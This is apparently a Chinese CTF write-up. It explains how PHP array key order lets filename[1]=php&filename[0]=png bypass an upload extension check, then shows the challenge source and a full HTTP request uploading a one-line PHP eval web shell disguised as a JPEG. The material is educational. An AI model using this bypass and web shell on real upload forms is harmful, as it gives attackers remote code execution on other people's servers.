C语言数组
C语言的数组都是由连续的内存位置组成。最低的地址对应第一个元素,最高的地址对应最后一个元素。
设有一个数组
1 | int array[2]; |
无论是先给array[0]
赋值,还是先给array[1]
赋值,其在内存中的排序都是array[0]
在前面array[1]
在后面,所以无论是用指针指向array的最后一个单元还是直接引用array[1]
的值,其所指的都是同一个值。
PHP的数组
而PHP数组与C语言数组不一样,PHP 中的数组实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型在很多方面做了优化,因此可以把它当成真正的数组,或列表(向量),散列表(是映射的一种实现),字典,集合,栈,队列以及更多可能性。由于数组元素的值也可以是另一个数组,树形结构和多维数组也是允许的。
贴上一个简易的上传过滤源码
<?php
$file = $_GET['file'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
print_r ($file);
echo '</br>';
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
print('This file is not allowed!</br>');
}
else print('success!</br>');
var_dump($file);
echo '</br>';
$filename = reset($file) . '.' . $file[count($file) - 1];
echo 'filename:'.$filename;
echo '</br>';
echo 'end($file):'.end($file);
?>
如图file[0]
和file[1]
都是由get传参,如果先给file[0]
赋值png,再给file[1]
赋值php的话,会被拦截。
file[0]=png&file[1]=php
但是如果先给file[1]
赋值php,再给file[0]
赋值png的话,则可以成功绕过过滤规则上传。
file[1]=php&file[0]=png
演示截图:
代码第六行和第十二行将其显示出来,由图右侧可见,如果先给file[0]
赋值png,再给file[1]
赋值php的话,数组是Array ( [0] => png [1] => php )
,会被拦截。
而如果先给file[1]
赋值php,再给file[0]
赋值png的话,数组就是Array ( [1] => php [0] => png )
,它所占内存区域中最后一个单元是file[0]=>png
,而不像C语言一样是file[1],所以如果过滤代码一方面用end()
来取出数组最后一个单元,而另外一处却用$file[count($file) - 1]
来取出最后一个单元,就会存在有绕过的漏洞。
拿python来比较一下更好说明
- C语言的数组更像Python 列表(List)
- 而PHP的数组像Python 字典(Dictionary)
涉及到的CTF: 网鼎杯第二场的上传题–wafUpload
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
- 第8-10行mime check部分 MIME 类型检测,使用图片马绕过。
- 第12-20行check filename部分 对文件后缀进行了检测,而后缀名则是取
$file
数组中最后一个元素。然后在生成文件的时候,文件名取$file
数组的最后一个元素做后缀,这明显存在绕过。我们只要控制$file
数组中参数的即可绕过并 getshell ,请求数据包如下
POST / HTTP/1.1
Host: 4b590ee044fe8fb3a180712f8407e4136069037e.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://4b590ee044fe8fb3a180712f8407e4136069037e.game.ichunqiu.com/
Content-Type: multipart/form-data; boundary=---------------------------9930139772306
Content-Length: 524
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9930139772123
Content-Disposition: form-data; name="filename[1]"
php
-----------------------------9930139772123
Content-Disposition: form-data; name="filename[0]"
png
-----------------------------9930139772123
Content-Disposition: form-data; name="file"; filename="fdrag0n.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['a']);?>
-----------------------------9930139772123
Content-Disposition: form-data; name="submit"
Submit
-----------------------------9930139772123--